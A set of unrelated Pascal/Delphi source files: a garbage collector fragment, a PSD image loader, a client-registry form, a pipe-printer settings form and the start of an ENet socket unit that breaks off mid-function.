(PtrUInt(Pool[T.Handle]) = PtrUInt(T)); end; constructor TGarbageCollector.Create(); var i:Int32; begin THRESHOLD[0] := 8000; //items must be allocated before G0 is checked THRESHOLD[1] := 10; //`n` times of G0 before G1 is checked (survivors are moved to G2) THRESHOLD[2] := 10; //`n` times of G1 before G2 is checked (objects stay here) for i:=0 to 2 do Gen[i].Init; CountDown[0] := THRESHOLD[0]; CountDown[1] := THRESHOLD[1]; CountDown[2] := THRESHOLD[2]; Lookup := TGCLookup.Create(@HashPointer, POOL_MIN_SIZE-1); Marked := TGCLookup.Create(@HashPointer); tempPos := -1; SetLength(temp, DEFAULT_TEMP_SIZE); end; destructor TGarbageCollector.Destroy(); var g,i,j:Int32; begin for g:=0 to High(Gen) do begin for i:=0 to Gen[g].PoolPos do if (Gen[g].Pool[i] <> nil) then Gen[g].Pool[i].Destroy(); Gen[g].Reset; end; inherited; end; function TGarbageCollector.ShouldEnter: Boolean; begin Result := CountDown[0] <= 0; end; procedure TGarbageCollector.PrepareCollection(genId:Int8); var i:Int32; begin Lookup.Clear; if POOL_MIN_SIZE > Gen[genId].PoolPos then Lookup.SetSize(POOL_MIN_SIZE) else Lookup.SetSize(Gen[genId].PoolPos); for i:=0 to gen[genId].PoolPos do if (gen[genId].Pool[i] <> nil) then Lookup[PtrUInt(gen[genId].Pool[i])] := True; end; (* Fix me: Infinite recursion. Properly mark objects that has been seen once already. Could use a dictionary for that as well. *) procedure TGarbageCollector.Mark(genId:Int8; root:TObjectArray; top:Int32); var i: Int32; begin for i:=0 to top do begin if Lookup.Remove( PtrUInt(root[i]) ) then begin if tempPos = High(temp) then SetLength(temp, Length(temp) * 2); Inc(tempPos); temp[tempPos] := root[i]; end; // if current is a container object (object with children), it may contain // items in any other generation, so it should be checked even tho the list // itself is not in our current generation. if (root[i] is TListObject) and (not marked.Add(PtrUInt(root[i]), True)) then Mark(genId, TListObject(root[i]).value, High(TListObject(root[i]).value)); end; end; procedure TGarbageCollector.Sweep(genId:Int8); var nextGen,i,j: Int32; begin for i:=0 to High(Lookup.Items) do for j:=0 to High(Lookup.Items[i]) do TEpObject(Lookup.Items[i][j].key).Destroy(); Gen[genId].Reset; if genId < High(gen) then begin nextGen := genId+1; Dec(CountDown[nextGen]); end else nextGen := genId; for i:=0 to tempPos do Gen[nextGen].Add(temp[i]); CountDown[genId] := THRESHOLD[genId]; tempPos := -1; SetLength(temp, DEFAULT_TEMP_SIZE); marked.Clear; end; (* allocation routines *) function TGarbageCollector.AllocNone(gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TNoneObject.Create(); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocBool(constref v:Boolean; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TBoolObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocChar(constref v:epChar; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TCharObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocInt(constref v:epInt; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TIntObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocFloat(constref v:Double; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TFloatObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocString(constref v:epString; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TStringObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocList(constref v:TObjectArray; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TListObject.Create(v); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; function TGarbageCollector.AllocFunc(n:epString; p:Int32; r:TIntRange; gcGen:Int8=0): TEpObject; begin if gcGen < 0 then gcGen := 0; Result := TFuncObject.Create(n,p,r); Result.gc := Pointer(self); Gen[gcGen].Add(Result); if gcGen = 0 then Dec(CountDown[0]); end; procedure TGarbageCollector.Release(var T:TEpObject); var H:UInt32; begin if (T = nil) then Exit; H := T.Handle; if Gen[0].Contains(T) then begin if T.Release then begin Gen[0].Unset(H); Inc(CountDown[0]); end; end else if Gen[1].Contains(T) then begin if T.Release then Gen[1].Unset(H); end else if Gen[2].Contains(T) then begin if T.Release then Gen[2].Unset(H); end; T := nil; end; end.
{*********************************************************************************************************************** * * TERRA Game Engine * ========================================== * * Copyright (C) 2003, 2014 by SÚrgio Flores (relfos@gmail.com) * *********************************************************************************************************************** * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * ********************************************************************************************************************** * TERRA_PSD * Implements PSD loader *********************************************************************************************************************** } Unit TERRA_PSD; {$I terra.inc} Interface Uses TERRA_Utils, TERRA_Stream, TERRA_Image; Implementation Uses TERRA_INI, TERRA_Color, TERRA_Log; // Photoshop PSD loader -- PD by Thatcher Ulrich, integration by Nicolas Schulz, tweaked by STB, ported to Delphi by Sergio Flores Procedure LoadPSD(Source:Stream; Image:Image); Var pixelCount:Integer; channelCount:Word; compression:Word; channel, i, count:Integer; len, val:Byte; w,h:Integer; ID, Ofs:Cardinal; N:Word; P:PColor; Procedure ReadChannel; Begin Case Channel Of 0: Source.Read(@P.R, 1); 1: Source.Read(@P.G, 1); 2: Source.Read(@P.B, 1); 3: Source.Read(@P.A, 1); End; Inc(P); End; Procedure FillChannel; Begin Case Channel Of 0: P.R := Val; 1: P.G := Val; 2: P.B := Val; 3: P.A := Val; End; Inc(P); End; Begin // Check identifier Source.Read(@ID, 4); If (ID <> $38425053) Then // "8BPS" Begin Log(logError, 'PSD', 'Corrupt PSD image: '+ Source.Name); Exit; End; // Check file type version. Source.Read(@N, 2); If (N <> 1) Then Begin Log(logError, 'PSD', 'Unsupported version of PSD image: '+ Source.Name + ', version= '+ IntToString(N)); Exit; End; // Skip 6 reserved bytes. Source.Skip(6); // Read the number of channels (R, G, B, A, etc). Source.Read(@channelCount, 2); If (channelCount > 16) Then Begin Log(logError, 'PSD', 'Unsupported number of channels in PSD: '+ Source.Name + ', channels= '+ IntToString(channelCount)); Exit; End; // Read the rows and columns of the image. Source.Read(@h, 4); Source.Read(@w, 4); // Make sure the depth is 8 bits. Source.Read(@n, 2); If (N <> 8) Then Begin Log(logError, 'PSD', 'Unsupported bit depth in PSD: '+ Source.Name + ', bitdepth= '+ IntToString(N)); Exit; End; // Make sure the color mode is RGB. // Valid options are: // 0: Bitmap // 1: Grayscale // 2: Indexed color // 3: RGB color // 4: CMYK color // 7: Multichannel // 8: Duotone // 9: Lab color Source.Read(@n, 2); If (N <> 3) Then Begin Log(logError, 'PSD', 'Wrong color format, PSD is not in RGB color format: '+ Source.Name + ', format= '+ IntToString(N)); Exit; End; // Skip the Mode Data. (It's the palette for indexed color; other info for other modes.) Source.Read(@Ofs, 4); Source.skip(Ofs); // Skip the image resources. (resolution, pen tool paths, etc) Source.Read(@Ofs, 4); Source.Skip(Ofs); // Skip the reserved data. Source.Read(@Ofs, 4); Source.Skip(Ofs); // Find out if the data is compressed. // Known values: // 0: no compression // 1: RLE compressed Source.Read(@Compression, 2); If (Compression > 1) Then Begin Log(logError, 'PSD', 'PSD has an unknown compression format: '+ Source.Name + ', compression= '+ IntToString(Compression)); Exit; End; // Create the destination image. Image.New(W, H); // Finally, the image data. If (compression = 1) Then Begin // RLE as used by .PSD and .TIFF // Loop until you get the number of unpacked bytes you are expecting: // Read the next source byte into n. // If n is between 0 and 127 inclusive, copy the next n+1 bytes literally. // Else if n is between -127 and -1 inclusive, copy the next byte -n+1 times. // Else if n is 128, noop. // Endloop // The RLE-compressed data is preceeded by a 2-byte data count for each row in the data, // which we're going to just skip. Source.Skip(h * channelCount * 2 ); // Read the RLE data by channel. For channel := 0 To 3 Do Begin P := Image.Pixels; If (Channel=0) Then P^ := ColorGrey(0); If (channel >= channelCount) Then Break; // Read the RLE data. count := 0; While (count < Image.pixelCount) Do Begin Source.Read(@len, 1); If (len = 128) Then Begin // No-op. End Else If (len < 128) Then Begin // Copy next len+1 bytes literally. Inc(len); Inc(Count, len); While (len>0) Do Begin ReadChannel(); Dec(len); End; End Else If (len > 128) Then Begin // Next -len+1 bytes in the dest are replicated from next source byte. // (Interpret len as a negative 8-bit int.) Len := Len Xor $0FF; Inc(len, 2); Source.Read(@val, 1); Inc(count, len); While (len>0) Do Begin FillChannel(); Dec(len); End; End; End; End; End Else Begin // We're at the raw image data. It's each channel in order (Red, Green, Blue, Alpha, ...) // where each channel consists of an 8-bit value for each pixel in the image. // Read the data by channel. For channel := 0 To 3 Do Begin P := Image.Pixels; If (Channel=0) Then P^ := ColorGrey(0); If (channel >= channelCount) Then Break; // Read the data. For I := 0 To Pred(Image.pixelCount) Do ReadChannel(); End; End; End; Function ValidatePSD(Stream:Stream):Boolean; Var ID:Cardinal; Begin Stream.Read(@ID, 4); Result := (ID = $38425053); // "8BPS" End; Begin RegisterImageFormat('PSD', ValidatePSD, LoadPSD, Nil); End.
unit Ufrm_Principal; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls, Data.DB, Data.Win.ADODB, Vcl.StdCtrls, Vcl.Grids, Vcl.DBGrids, Vcl.Mask, Vcl.DBCtrls, frxClass, frxDBSet, Datasnap.DBClient, Data.FMTBcd, Data.SqlExpr, Datasnap.Provider,frxUtils, Vcl.Buttons; procedure CarregaRelatorio (const pReport: TfrxReport); type TfrmPrincipal = class(TForm) Panel1: TPanel; stbStatus: TStatusBar; Timer1: TTimer; PageControl1: TPageControl; tbsListagem: TTabSheet; tbsManutencao: TTabSheet; tbsSistema: TTabSheet; DBClientes: TDBGrid; btnIncluir: TButton; btnEditar: TButton; btnExcluir: TButton; btnImpRelatorio: TButton; Label1: TLabel; Label3: TLabel; Label4: TLabel; btnSalvar: TButton; btnCancelar: TButton; Label5: TLabel; Label6: TLabel; EditSenhaAtual: TEdit; EditSenhaNova: TEdit; btnAlterarSenha: TButton; DBG_Endereco: TDBGrid; Label7: TLabel; Label8: TLabel; DBG_Telefone: TDBGrid; btnIncluirEndereco: TButton; btnExcluirEndereco: TButton; btnIncluirTelefone: TButton; btnExcluirTelefone: TButton; DS_Clientes: TDataSource; EditNome: TEdit; RgSexo: TRadioGroup; DS_EndCli: TDataSource; DS_TelCli: TDataSource; btnLogout: TSpeedButton; DS_Usuarios: TDataSource; EditCpf: TMaskEdit; EditRG: TMaskEdit; procedure Timer1Timer(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure btnIncluirClick(Sender: TObject); procedure btnCancelarClick(Sender: TObject); procedure btnEditarClick(Sender: TObject); procedure btnImpRelatorioClick(Sender: TObject); procedure btnExcluirClick(Sender: TObject); procedure btnSalvarClick(Sender: TObject); procedure btnIncluirEnderecoClick(Sender: TObject); procedure btnExcluirEnderecoClick(Sender: TObject); procedure btnIncluirTelefoneClick(Sender: TObject); procedure btnLogoutClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure btnAlterarSenhaClick(Sender: TObject); private { Private declarations } tipoAlt : Integer; procedure limpaCampos; public { Public declarations } end; var frmPrincipal: TfrmPrincipal; implementation {$R *.dfm} uses U_DMDados, U_Funcoes, math, Ufrm_Endereco, U_DMRelatorios, Ufrm_Telefone, U_Login, Ufrm_Login; //----------------------------------@ Botão Alterar Senha @--------------------- procedure TfrmPrincipal.btnAlterarSenhaClick(Sender: TObject); begin if EditSenhaAtual.Text = '' then begin Application.MessageBox('Informe a senha do usuário que deseja Alterar!','Atenção',0+48); EditSenhaAtual.SetFocus; Abort; end; if EditSenhaNova.Text = '' then begin Application.MessageBox('Informe a senha nova!','Atenção',0+48); EditSenhaNova.SetFocus; Abort; end; with DM_Dados do begin CDS_Usuarios.Close; CDS_Usuarios.ParamByName('SENHA').AsString := EditSenhaAtual.Text; CDS_Usuarios.Open; end; if not DM_Dados.CDS_Usuarios.IsEmpty then begin try DM_Dados.CDS_Usuarios.Edit; DM_Dados.CDS_Usuariossenha.AsString := trim(EditSenhaNova.Text); TClientDataSet(DS_Usuarios.DataSet).Post; TClientDataSet(DS_Usuarios.DataSet).ApplyUpdates(0); Application.MessageBox('Senha Alterada com sucesso!','Atenção',MB_OK+MB_ICONINFORMATION); EditSenhaAtual.Clear; EditSenhaNova.Clear; except on E: Exception do raise Exception.Create('Erro ao Alterar'+E.Message); end; end else begin Application.MessageBox('Senha atual inválida!','Atenção',MB_OK+MB_ICONWARNING); EditSenhaAtual.Clear; EditSenhaAtual.SetFocus; Abort; end; end; //----------------------------------@ Botão CANCELAR ou VOLTAR @---------------- procedure TfrmPrincipal.btnCancelarClick(Sender: TObject); begin tbsListagem.Show; tbsManutencao.TabVisible :=false; limpaCampos; if PageControl1.ActivePage = tbsManutencao then PageControl1.ActivePage := tbsListagem; DS_Clientes.DataSet.Cancel; DS_EndCli.DataSet.cancel; DS_TelCli.DataSet.cancel; end; //----------------------------------@ Botão EDITAR @---------------------------- procedure TfrmPrincipal.btnEditarClick(Sender: TObject); begin tipoAlt :=1; //tbsManutencao.Show; if PageControl1.ActivePage = tbsListagem then begin PageControl1.ActivePage := tbsManutencao; tbsManutencao.TabVisible :=true; end; DS_Clientes.DataSet.Edit; EditNome.Text := DM_Dados.CDS_Clientesnome.AsString; RgSexo.ItemIndex := ifthen(DM_Dados.CDS_Clientessexo.AsString='M',0,1); //ifthen função booleana, precisa colocar no uses math EditRG.Text := DM_Dados.CDS_Clientesrg.AsString; EditCPF.Text := DM_Dados.CDS_Clientescpf.AsString; btnIncluirEndereco.Enabled := true; btnExcluirEndereco.Enabled := true; btnIncluirTelefone.Enabled := true; btnExcluirTelefone.Enabled := true; end; //----------------------------------@ Botão EXCLUIR @--------------------------- procedure TfrmPrincipal.btnExcluirClick(Sender: TObject); begin if Application.MessageBox('Deseja excluir este Cliente?','Atenção!',MB_YESNO+MB_ICONQUESTION) = mrYes then begin try DS_Clientes.DataSet.Delete; TClientDataSet(DS_Clientes.DataSet).ApplyUpdates(0); Application.MessageBox('Cadastro excluido com sucesso!','',MB_OK); TClientDataSet(DS_Clientes.DataSet).Open; except on E: Exception do raise Exception.Create('Erro ao Excluir registro: '+E.Message); end; end; end; //----------------------------------@ Botão Excluir Endereço @------------------ procedure TfrmPrincipal.btnExcluirEnderecoClick(Sender: TObject); begin if Application.MessageBox('Deseja excluir este Endereço?','Atenção!',MB_YESNO+MB_ICONQUESTION) = mrYes then begin try DS_EndCli.DataSet.Delete; TClientDataSet(DS_EndCli.DataSet).ApplyUpdates(0); Application.MessageBox('Endereço excluido com sucesso!','',MB_OK); TClientDataSet(DS_EndCli.DataSet).Open; except on E: Exception do raise Exception.Create('Erro ao Excluir registro: '+E.Message); end; end; end; //----------------------------------@ Imprimir Relatório @---------------------- procedure TfrmPrincipal.btnImpRelatorioClick(Sender: TObject); begin DM_Relatorio.frxR_Clientes.ShowReport(); end; //----------------------------------@ Botão Incluir @--------------------------- procedure TfrmPrincipal.btnIncluirClick(Sender: TObject); begin tbsManutencao.TabVisible := true; tipoAlt :=0; if PageControl1.ActivePage = tbsListagem then PageControl1.ActivePage := tbsManutencao; if not TClientDataSet(DS_Clientes.DataSet).Active then TClientDataSet(DS_Clientes.DataSet).Open; // RgSexo.Buttons[0].Checked :=false; // RgSexo.Buttons[1].Checked :=false; DS_Clientes.DataSet.Append; btnIncluirEndereco.Enabled := false; btnExcluirEndereco.Enabled := false; btnIncluirTelefone.Enabled := false; btnExcluirTelefone.Enabled := false; end; //----------------------------------@ Botão Incluir Endereço @------------------ procedure TfrmPrincipal.btnIncluirEnderecoClick(Sender: TObject); begin DS_EndCli.DataSet.append; Application.CreateForm(Tfrm_Endereco,frm_Endereco); try frm_Endereco.ShowModal; finally frm_Endereco.free; end; end; //----------------------------------@ Botão Incluir Telefone @------------------ procedure TfrmPrincipal.btnIncluirTelefoneClick(Sender: TObject); begin DS_TelCli.DataSet.append; Application.CreateForm(Tfrm_Telefone,frm_Telefone); try frm_Telefone.ShowModal; finally frm_Telefone.free; end; end; //----------------------------------@ Botão Logout @---------------------------- procedure TfrmPrincipal.btnLogoutClick(Sender: TObject); begin if (Application.MessageBox('Deseja sair do Sistema?','Aviso',36)=6) then begin frmPrincipal.Visible := false; // frmPrincipal.EditSenhaAtual.clear; frm_Login.EditSenha.Clear; frm_Login.EditUsuario.Clear; frm_Login.Visible := True; frm_Login.Show; frm_Login.EditUsuario.SetFocus; end else begin abort; end; end; //----------------------------------@ Botão SALVAR @---------------------------- procedure TfrmPrincipal.btnSalvarClick(Sender: TObject); begin //TRIM tira os espaços do campo if Trim(EditNome.Text) = '' then begin Application.MessageBox('Preencha o campo nome!','Atenção',MB_OK+MB_ICONWARNING); EditNome.SetFocus; Abort; end; {if GetCPFCadastrado(Trim(EditCPF.Text)) then begin Application.MessageBox('Já existe um cliente cadastrado com este CPF!','Atenção',MB_OK+MB_ICONWARNING); EditCPF.SetFocus; Abort; end;} //Passando informações dos campos para o CDS with DM_Dados do //utilizo o with para não precisar informar o DM_Dados no inicio de cada um begin if DS_Clientes.State in [dsInsert] then CDS_Clientesidcliente.AsInteger := GetId('IDCLIENTE','CLIENTES'); CDS_Clientesnome.AsString := trim(EditNome.Text); case RgSexo.ItemIndex of 0: CDS_Clientessexo.AsString := 'M'; 1: CDS_Clientessexo.AsString := 'F'; end; CDS_Clientesrg.AsString := trim(EditRG.Text); CDS_Clientescpf.AsString := trim(EditCPF.Text); end; //salvar ou incluir try TClientDataSet(DS_Clientes.DataSet).Post; TClientDataSet(DS_Clientes.DataSet).ApplyUpdates(0); case tipoAlt of 0 : Application.MessageBox('Registro Inserido com sucesso!','Inclusão',MB_OK+MB_ICONINFORMATION); 1 : Application.MessageBox('Registro Atualizado!','Edição',MB_OK+MB_ICONINFORMATION); end; // if PageControl1.ActivePage = tbsManutencao then // PageControl1.ActivePage := tbsListagem; // // //limpar campos // limpaCampos; //----------------------@ Habilitar Inclusão de Endereço e Telefone @------- btnIncluirEndereco.Enabled := true; btnExcluirEndereco.Enabled := true; btnIncluirTelefone.Enabled := true; btnExcluirTelefone.Enabled := true; TClientDataSet(DS_Clientes.DataSet).Open; except on E: Exception do raise Exception.Create('Erro ao salvar registro:'+E.Message); end; end; //----------------------------------@ FormClose @------------------------------ procedure TfrmPrincipal.FormClose(Sender: TObject; var Action: TCloseAction); begin // if Application.MessageBox('Deseja finalizar a aplicação?','Atenção!',MB_YESNO+ MB_ICONQUESTION)= mrYes then Application.Terminate else Abort; end; procedure TfrmPrincipal.FormCreate(Sender: TObject); begin end; //----------------------------------@ FormShow @------------------------- procedure TfrmPrincipal.FormShow(Sender: TObject); begin //tbsListagem.Show; if (PageControl1.ActivePage=tbsManutencao) or (PageControl1.ActivePage= tbsSistema) then begin PageControl1.ActivePage := tbsListagem; tbsManutencao.TabVisible :=false; end; TClientDataSet(DS_Clientes.DataSet).Open; // stbStatus.Panels[0].Text := 'Usuário: '+ DM_Dados.CDS_Usuariosnome.AsString; // frm_Login.EditSenha.Text := DM_Dados.CDS_Usuariossenha.AsString; end; //----------------------------------@ Timer Barra @----------------------------- procedure TfrmPrincipal.Timer1Timer(Sender: TObject); begin stbStatus.Panels[2].Text := datetostr(date) + ' - ' + timetostr(Time); end; //----------------------------------@ Limpar Campos @ -------------------------- procedure TfrmPrincipal.limpaCampos; var I: Integer; begin for I := 0 to ComponentCount -1 do begin if Components[i] is TCustomEdit then TCustomEdit(Components[i]).Clear; end; if PageControl1.ActivePage = tbsManutencao then begin PageControl1.ActivePage := tbsListagem; end; end; procedure CarregaRelatorio (const pReport: TfrxReport); begin end; end.
unit fMainform; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdContext, IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, StdCtrls, ShellAPI, Pipes, frPipePrinter, ExtCtrls, Generics.Collections; type TfrmMain = class(TForm) framPipePrinter1: TframPipePrinter; Panel1: TPanel; btnPipe: TButton; btnLoad: TButton; btnSave: TButton; ScrollBox1: TScrollBox; Memo1: TMemo; Splitter1: TSplitter; procedure framPipePrinter1btnDeleteClick(Sender: TObject); procedure btnPipeClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure btnLoadClick(Sender: TObject); procedure btnSaveClick(Sender: TObject); protected FFrames: TObjectlist<TframPipePrinter>; function AddPipe: TframPipePrinter; procedure LoadPipes; procedure SavePipes; public procedure AfterConstruction;override; destructor Destroy; override; procedure UpdatePrintCount(const aPipe: string); procedure AddLog(const aMessage: string); end; var frmMain: TfrmMain; implementation uses DateUtils, IniFiles, dPipeServer; {$R *.dfm} procedure TfrmMain.AddLog(const aMessage: string); begin Memo1.Lines.Add( Format('%s: %s',[FormatDatetime('hh:nn:ss:zzz', now), aMessage]) ); end; function TfrmMain.AddPipe: TframPipePrinter; begin Result := TframPipePrinter.Create(nil); FFrames.Add(Result); Result.Parent := ScrollBox1; Result.Align := alTop; Result.Top := FFrames.Count * Result.Height + 1; Result.SectionName := 'Pipe' + IntToStr(FFrames.Count); Result.btnDelete.OnClick := Self.framPipePrinter1btnDeleteClick; end; procedure TfrmMain.AfterConstruction; begin FFrames := TObjectlist<TframPipePrinter>.Create(True); inherited; end; procedure TfrmMain.btnLoadClick(Sender: TObject); begin LoadPipes; end; procedure TfrmMain.btnPipeClick(Sender: TObject); begin AddPipe; end; procedure TfrmMain.btnSaveClick(Sender: TObject); begin SavePipes; dmPipeServer.LoadPipes; end; destructor TfrmMain.Destroy; begin FFrames.Free; inherited; end; procedure TfrmMain.FormCreate(Sender: TObject); begin Memo1.Clear; LoadPipes; dmPipeServer.LoadPipes; end; procedure TfrmMain.framPipePrinter1btnDeleteClick(Sender: TObject); var frame: TframPipePrinter; begin frame := (Sender as TButton).Owner as TframPipePrinter; FFrames.Remove(frame); end; procedure TfrmMain.LoadPipes; var ini: TMemIniFile; pipes: TStrings; spipe: string; iCount: Integer; frame: TframPipePrinter; begin FFrames.Clear; ini := TMemIniFile.Create( ExtractFilePath(Application.ExeName) + 'printerpipes.ini'); try pipes := TStringList.Create; try ini.ReadSections(pipes); iCount := 0; for spipe in pipes do begin if iCount = 0 then frame := framPipePrinter1 else begin frame := AddPipe; end; frame.SectionName := spipe; frame.PipeName := ini.ReadString(spipe, 'Pipe', ''); frame.OutputPrinter := ini.ReadString(spipe, 'Printer', ''); Inc(iCount); end; finally pipes.Free; end; finally ini.Free; end; end; procedure TfrmMain.SavePipes; var ini: TMemIniFile; pipes: TStrings; spipe: string; iCount: Integer; frame: TframPipePrinter; begin ini := TMemIniFile.Create( ExtractFilePath(Application.ExeName) + 'printerpipes.ini'); pipes := TStringList.Create; try ini.Clear; frame := framPipePrinter1; ini.WriteString(frame.SectionName, 'Pipe', frame.PipeName); ini.WriteString(frame.SectionName, 'Printer', frame.OutputPrinter); pipes.Add(frame.PipeName); for frame in FFrames do begin //check unique pipe iCount := 0; spipe := frame.PipeName; while pipes.IndexOf(spipe) >= 0 do begin Inc(iCount); spipe := frame.PipeName + IntToStr(iCount); end; pipes.Add(spipe); frame.PipeName := spipe; ini.WriteString(frame.SectionName, 'Pipe', frame.PipeName); ini.WriteString(frame.SectionName, 'Printer', frame.OutputPrinter); end; ini.UpdateFile; finally pipes.Free; ini.Free; end; end; procedure TfrmMain.UpdatePrintCount(const aPipe: string); var frame: TframPipePrinter; begin if framPipePrinter1.PipeName = aPipe then framPipePrinter1.PrintCount := framPipePrinter1.PrintCount + 1 else begin for frame in FFrames do begin if frame.PipeName = aPipe then begin frame.PrintCount := frame.PrintCount + 1; Exit; end; end; end; end; end.
unit enet_socket; (** @file win32.c @brief ENet Win32 system specific functions for freepascal 1.3.12 win32 => ENET_CALLBACK = _cdecl linux socket implementaion wasn't tested. *) {$ifdef APPLE} {$define HAS_GETADDRINFO} {$define HAS_GETNAMEINFO} {$define HAS_INET_PTON} {$define HAS_INET_NTOP} {$define HAS_MSGHDR_FLAGS} {$define HAS_FCNTL} {$endif} interface uses enet_consts, {$ifdef WINDOWS} WinSock2 {$else} Sockets, BaseUnix, Unix {$endif} ; type pENetSocketSet = PFDSet; ENetSocketSet = TFDSet; procedure ENET_SOCKETSET_EMPTY(var sockset : TFDSet); procedure ENET_SOCKETSET_ADD(var sockset:TFDSet; socket:TSocket); procedure ENET_SOCKETSET_REMOVE(var sockset:TFDSet; socket:TSocket); function ENET_SOCKETSET_CHECK(var sockset:TFDSet; socket:TSocket):boolean; function ENET_HOST_TO_NET_16(value:word):word; function ENET_HOST_TO_NET_32(value:longword):longword; function ENET_NET_TO_HOST_16(value:word):word; function ENET_NET_TO_HOST_32(value:longword):longword; function enet_initialize:integer; procedure enet_deinitialize; function enet_time_get:enet_uint32; procedure enet_time_set (newTimeBase : enet_uint32); function enet_address_set_host (address : pENetAddress; name : pchar):integer; function enet_address_get_host_ip (address : pENetAddress; name : pchar ; nameLength : enet_size_t):integer; function enet_address_get_host (address : pENetAddress; name : pchar; nameLength : enet_size_t):integer; function enet_socket_create (Socktype : integer):ENetSocket; function enet_socket_bind (socket : ENetSocket; const address : pENetAddress):integer; function enet_socket_listen (socket: ENetSocket; backlog:integer):integer; function enet_socketset_select (maxSocket:ENetSocket; readSet, writeSet:pENetSocketSet; timeout:enet_uint32):integer; function enet_socket_set_option (socket : ENetSocket; option : (*ENetSocketOption*)integer; value : integer):integer; function enet_socket_connect ( socket : ENetSocket;address : pENetAddress):integer; function enet_socket_accept (socket : ENetSocket; address : pENetAddress):ENetSocket; function enet_socket_shutdown (socket:ENetSocket; how : Integer { ENetSocketShutdown } ):Integer; procedure enet_socket_destroy (socket : ENetSocket); function enet_socket_send (socket : ENetSocket; address : pENetAddress; buffers : pENetBuffer; bufferCount : enet_size_t ):integer; function enet_socket_receive (socket : ENetSocket; address : pENetAddress; buffers : pENetBuffer; bufferCount : enet_size_t):integer; function enet_socket_wait (socket : ENetSocket; condition : penet_uint32; timeout : enet_uint32):integer; function enet_host_random_seed: enet_uint32; function enet_socket_get_address (socket : ENetSocket; address : pENetAddress):integer; function enet_socket_get_option (socket:ENetSocket; option: integer (* ENetSocketOption *); value:Integer):integer; implementation uses sysutils {$ifdef WINDOWS} ,mmsystem {$else} ,netdb ,termio {$endif} ; {$ifndef WINDOWS} const EINTR = 4; EWOULDBLOCK = 11; {$endif} var // to do : cause this value, only one enet used in one executable. timeBase : enet_uint32 =0; versionRequested : WORD; {$ifdef WINDOWS} wsaData : TWSAData; {$endif} procedure ENET_SOCKETSET_EMPTY(var sockset:TFDSet); begin {$ifdef WINDOWS}FD_ZERO{$else}fpFD_ZERO{$endif} (sockset); end; procedure ENET_SOCKETSET_ADD(var sockset:TFDSet; socket:TSocket); begin {$ifdef WINDOWS}FD_SET{$else}fpFD_SET{$endif} (socket, sockset); end; procedure ENET_SOCKETSET_REMOVE(var sockset:TFDSet; socket:TSocket); begin {$ifdef WINDOWS}FD_CLR{$else}fpFD_CLR{$endif} (socket, sockset); end; function ENET_SOCKETSET_CHECK(var sockset:TFDSet; socket:TSocket):boolean; begin result := {$ifdef WINDOWS}FD_ISSET{$else}0<>fpFD_ISSET{$endif} (socket, sockset); end; function ENET_HOST_TO_NET_16(value:word):word; begin result := (htons (value)); end; function ENET_HOST_TO_NET_32(value:longword):longword; begin result := (htonl (value)); end; function ENET_NET_TO_HOST_16(value:word):word; begin result := (ntohs (value)); end; function ENET_NET_TO_HOST_32(value:longword):longword; begin result := (ntohl (value)); end; function enet_initialize:integer; {$ifdef WINDOWS} var versionRequested : WORD; wsaData : TWSAData; {$endif} begin {$ifdef WINDOWS} versionRequested := $0101; if longbool(WSAStartup (versionRequested, wsaData)) then begin result := -1; exit; end; if (lo(wsaData.wVersion) <> 1) or (hi(wsaData.wVersion) <> 1) then begin WSACleanup; result := -1; exit; end; timeBeginPeriod (1); {$endif} result := 0; end; procedure enet_deinitialize; begin {$ifdef WINDOWS} timeEndPeriod (1); WSACleanup (); {$endif} end; {$push} {$R-} function enet_time_get:enet_uint32; {$ifndef WINDOWS} var tv : TTimeVal; {$endif} begin {$ifdef WINDOWS} Result := enet_uint32(timeGetTime - timeBase); {$else} fpgettimeofday(@tv,nil); Result := tv.tv_sec * 1000 + tv.tv_usec div 1000 - timeBase; {$endif} end; procedure enet_time_set (newTimeBase : enet_uint32); {$ifndef WINDOWS} var tv : TTimeVal; {$endif} begin {$ifdef WINDOWS} timeBase := enet_uint32( timeGetTime - newTimeBase); {$else} fpgettimeofday(@tv,nil); timeBase := tv.tv_sec * 1000 + tv.tv_usec div 1000 - newTimeBase; {$endif} end; {$pop} function strtolong(str, strend:pchar):longint; var buf: array[0..11] of char; i: Integer; begin i:=0; while str<strend do begin buf[i]:=str^; Inc(str); Inc(i); end; 